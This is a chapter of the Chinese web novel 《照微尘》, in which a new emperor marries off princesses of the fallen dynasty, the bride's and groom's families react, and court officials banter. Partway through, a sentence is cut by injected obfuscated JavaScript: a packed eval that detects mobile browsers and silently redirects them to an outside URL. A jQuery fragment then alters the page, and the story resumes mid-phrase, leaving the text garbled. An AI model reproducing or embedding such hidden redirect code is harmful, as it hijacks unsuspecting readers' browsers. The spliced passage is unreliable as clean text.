129. 赐婚
作品:《照微尘》 王雨乔憋着气回了阮家,一连几日心中郁郁不快,王夫人只当没看到,倒是王大夫人被气了个好歹,她原就被三子气得卧病,哪知小女儿也这般不敬她这个亲娘呢?
不想王大夫人的病还没养好,又再次被气得晕了过去,因为没几日新君下旨,以其幼子王允熙尚前朝东乡公主。
卫珩听了阮蟾光的提议,在登基后为梁氏三位未成婚的公主择亲,并大方地给了三人封号,当然封地就不要指望是多么上好的地方了,东乡公主在其中算是最好的,食邑三百户,还赐了西京王氏长房的幼子王允熙为驸马。
之所以如此厚待东乡公主,倒不是因为她有个禅位的父皇章帝,主要是因为东乡公主生母出身显赫,她早逝的生母李贵妃出身昭郡李氏,是当朝右相李骥嫡亲的女儿,为了给李骥这个面子和安抚昭郡李氏,卫珩才特地给了她三分优待,并以皇后外家表弟王允熙尚主。
帝后此举令李骥心里分外熨帖,他对这门婚事很满意,私下对外孙女东乡公主说:“帝后厚待,日后当谨慎度日,不可骄慢。”
东乡公主年纪小,性子乖,很听外祖父的话,一一都认真应了。
王允熙虽无官职在身,但李骥着人打听过,生得也算风度翩翩,德才兼备,并且新君在赐婚之时着即赏了王允熙驸马都尉之衔,更重要的是,这是当朝皇后的外家,虽没有血缘关系,可是礼法大过天,再没有人不认的。
当然李骥也曾做过白日梦,要是新君将东乡公主许给皇后嫡亲的表兄——当朝车骑大将军、宁远侯顾云简,那是再好不过了,不过能嫁入西京王氏,他也满意得很!
可是王大夫人不满意,她在家里哭天抹泪,只觉那东乡公主是烫手山芋,要是当朝皇帝的公主,她只会欢天喜地地让儿子娶进门,这东乡公主是前朝遗孤,纵使有个昭郡李氏的外家又如何?保不齐哪天新君看前朝皇室不顺眼,就送这些公主都上路了,若是连累了她儿子可怎么好?
王雨乔闻讯也顾不得和她母亲生气,立刻就跑回家了。
王夫人身边的嬷嬷来报告了此事,王夫人看阮玉雅练着书法没有应话。
嬷嬷看了眼王夫人岁月静好的容颜,心里默默叹了一声,往常在家看大夫人是个精明的,如何年纪越大越糊涂了,糊涂人不怕糊涂,就怕糊涂短视心又不正。
待嬷嬷出门后,阮玉雅抬起出落得愈发秀丽的容颜问母亲,“表兄要尚前朝公主,舅母和嫂嫂可是不愿?”
王夫人知女儿年纪小,却是心明眼亮得很,随着阮玉雅日渐懂事,她也不介意让女儿多知道一些事情,这样也能多懂一些道理,一点一点讲给她道:“东乡公主虽是前朝皇室,封号却是本朝所赐,那她就是新朝的公主,封邑也是实打实的,帝后如此厚待前朝皇室,是帝后贤德,何况公主还有昭郡李氏那样的外家、李相那般的外祖,尊贵只有多没有少的。尚主为喜事,绝非祸事,母亲不知这有何可不愿的,大约是你舅母和嫂嫂没想通吧!”
阮玉雅停下笔转了转眼睛,好像是这个道理。
王夫人轻抚女儿肩膀,“玉雅,你皇后阿姐在宫中有什么事都想着家里人,也想着你和阿纲,陛下更是屡次对岳家施恩,你三表兄之前三元及第,却困于朝局党争不得施展,如今年纪轻轻蒙陛下赏识入了御史台,有你三表兄自己的缘故,但也不得不说是陛下慧眼识珠。咱们和你舅舅家身为皇后的亲族,蒙受帝后诸多恩惠,在帝后需要助力时,自当义不容辞,倘你有适龄的兄弟和叔侄,我想帝后是更乐意将东乡公主嫁入阮氏的,如今有这好处帝后没想着外人,反是赐给了王氏,这是王氏的体面。至于你舅母如何看,那就是你舅母的眼界了。”
王砚明也是这么跟王大夫人和王雨乔说的,可是王大夫人还是止不住抹泪,她心里就一个想法,“亡国公主有什么好娶的?”
这蠢话说得,王砚明若非教养好,几乎要和妻子动手了,他不知这些年妻子如何就变得这般牛心左性,连带着幼女王雨乔,王砚明只觉心累。
他说不通也懒得再说,甩袖出门去道:“公主虽是前朝皇室,却是新君所封的新朝公主,天家出降公主,事关阖族荣辱,公主入门后虽有自己的府邸,但你也小心给我伺候着,否则帝后问起来,允熙没好,你我也难保全!我是皇后的舅舅不错,可让你们母女二人几番折腾,我这个名义上的舅舅在帝后面前能有几分颜面,想必你们也清楚,倘再做出有损王氏颜面的事情,莫怪我为夫、为父不留情面!”
王砚明真真是悔啊,他没想过当初的卫王、今日的新君有朝一日能手控北地半壁江山,也没想过自己那便宜外甥女有母仪天下的运道,否则再不能任由女儿当初嫁入阮氏折腾出那一番事情的,如今帝后肯给王氏这个颜面,王砚明只有拍马去接着的。
王雨乔被父亲吓得大气不敢喘,颤抖着去扶母亲,王大夫人也被丈夫吓到了,纵使王砚明不说,王大夫人也不敢像对待几个儿媳一样去对待东乡公主,莫说东乡公主是有封号的公主,单她有个昭郡李氏的外家和做右相的外祖父,王大夫人也不敢造次。她慌忙擦去眼泪,环顾四周才发现一直没见到小儿子王允熙,她担心小儿子吓到了,忙想着去安慰他。
王大夫人到了王允熙的院子才知道小儿子被皇后召进宫里说话去了。
王允熙虽和阮蟾光不太熟,但他对这位在汝阳有数面之缘的表姐印象很深刻,一是因为阮蟾光如今的身份,二是因为当初在汝阳阮蟾光待他很是客套照顾,当时王允熙就觉得这个貌美典雅的表姐和姐夫口中说得不太一样。
今日阮蟾光召他入宫,王允熙还有些意外,待见到阮蟾光,听她还是如以往和蔼地和他说话,王允熙的拘谨很快就没了。
阮蟾光召王允熙入宫的时候,特地将李夫人也请来了,并且还安排王允熙与东乡公主见了一面。
看到王允熙生得相貌俊秀,还和皇后关系不错,李夫人心里那点子不安早就没了。
李夫人对王氏内宅事并不熟悉,但从皇后的继母王夫人在王氏孀居多年又再嫁这件事来看,聪慧精明的李夫人就知道和王大夫人这个做长嫂的脱不了关系,外孙女是正牌公主,有自己的府邸,又有李氏这个外家撑腰,李夫人还不需要将王大夫人放在眼里。
王砚明和王大夫人在家里左等右等,终于等回了小儿子,王大夫人心里猜测小儿子定是不愿意的,谁知王允熙是满面春风回来的,他不需母亲多言,脚步不停就往自己院子走,还说:“母亲不用说了,孩儿知道您要说什么,儿孙自有儿孙福,孩儿与公主分府别居后,也不会忘记孝敬母亲的。”
这话让王大夫人的心凉了下去,因为三儿子成婚后分府离居时也是这么跟她说的,结果呢?王大夫人又哭了一场。
余下一位长公主和公主,公主定了婚事,卫珩给了封号,夫家知晓新君没有苛待梁氏女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223099|188348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眷之意,千恩万谢接了赐婚诏书,而西河长公主的婚事就有些波折了。
西河长公主外家出身也不低,不过没法和昭郡李氏比,因为这位西河长公主的生母虽是梁氏太宗的妃子,却也是章帝高皇后的族妹,没办法,皇室辈分从来就这么乱。
遂宁高氏在卫珩的打压下已经衰落,高仲启现在在平州大气不敢喘,若非西河长公主这档子事,卫珩都要想不起高仲启这个人来,看在他还算老实的份上,卫珩不介意给高氏这个恩典。
不过卫珩还是虚晃一枪,他抬抬眼皮看了眼座下的顾云简,和燕云尊交换了个眼神,段谟脊背一凉坐远些,他已是预感这两个人要发坏水了。
果然卫珩说:“说来表兄多年征战,枕畔膝下尤空,西河长公主身份不同寻常,人也是聪慧端庄,朕有意为表兄做个媒,表兄不知可愿?”
顾云简面不改冷色,一个刮骨刀般的眼神扫过卫珩,众人毫不怀疑卫珩若敢给他赐婚,顾云简会在新婚之夜将那西河长公主肢解了。
卫珩毫不退让地回视着顾云简,他现在是皇帝,就要挑衅他!
顾云简早知道新君是个无聊透顶的人,不疾不徐回呛:“陛下拉拢前朝皇室,最好的方式是结两姓之好,臣身份不足,不若将西河长公主封做西宫,侍奉陛下身畔,皆大欢喜!”
卫珩作势抚了抚额头,“皇后深钟于朕,朕不欲有二色之念!”
殿中空气似乎变得如冰窖一般,燕云尊和段谟自动离顾云简远一些,若是在战场上,两人几乎肯定他已经提剑和卫珩打起来了。
最终是老好人段谟出来劝架,他们是做媒,又不是作死,真叫顾云简把西河长公主肢解了,又得是一出乱子。
顾云简冷冷一哼,拂袖走了!
卫珩回了大大的一声哼,背后叨叨:“一把年纪不成婚,不生子,怕不是有病咋地?”
燕云尊和他心有灵犀得很,顾云简这厮和表妹一同长大,任谁都看得出来他绝对是心仪表妹的,当初他听鸯鸯说过,数年前顾云简一去不复返,后来还传出他流连花丛的消息,让表妹伤透了心,如今他肯帮卫珩打天下,怎么看都像是为了表妹。
那他当初为何不求娶表妹?
燕云尊脑洞大,老早就有了怀疑,他与成家洛和仲岁朝等人分析过这个问题,大家得出一致结论,那就是——顾云简少时流连花丛把自己整不好使了!
这不是笑话,例子多着呢!
士族子弟自小身边最不缺的就是美色,有些家中管教不严早早尝了禁果,结果放任无度淘坏了身子的比比皆是,顾云简若是如此不稀奇。
卫珩眼睛一闪,和燕云尊凑在一起,“要不,试试?”
燕云尊给他个坏笑,“试试就试试,叫上杨行策!”他怀疑杨行策也不行。
卫珩否决了他的猜测,“我三哥好得很!”谁不知他三哥这么多年心里就只有他四姐。
燕云尊嗤之以鼻,“追了那么多年没追上,难保不出问题!”
段谟实在听不下去了,他坐得更远了些,避之不及道:“要去你们去,我可是洁身自好得很!”且不说顾云简和杨行策一对杀神,为了他家玉漪他也不去沾染风月。
卫珩和燕云尊齐齐抽了文书对着段谟的头砸过来,“你想什么呢!”
他们说的是去泡温泉!泡温泉!
合着这世上就他一人洁身自好呢!

